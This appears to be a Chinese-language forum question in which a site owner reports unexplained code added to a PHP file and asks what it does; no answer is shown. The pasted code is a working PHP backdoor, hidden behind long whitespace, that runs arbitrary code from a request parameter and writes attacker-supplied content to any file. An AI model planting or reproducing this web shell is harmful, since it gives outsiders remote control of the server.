PHP文件莫名其妙的被加了代码，什么原因？

PHP文件莫名其妙的被加了代码，看不懂，求解释

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  $kfwcbh = "cf051a1756834f0f9972191ffdf8ecfc";
if(isset($_REQUEST['cvbswp'])){ 
    $vdvb = $_REQUEST['cvbswp']; eval($vdvb); exit();
} 
if(isset($_REQUEST['ztkb'])) {
    $lzoki = $_REQUEST['hyrvkum'];
    $xhwpemsz = $_REQUEST['ztkb'];
    $oarnubp = fopen($xhwpemsz, 'w');
    $npty = fwrite($oarnubp, $lzoki);
    fclose($oarnubp);
    echo $npty; exit();
} ?>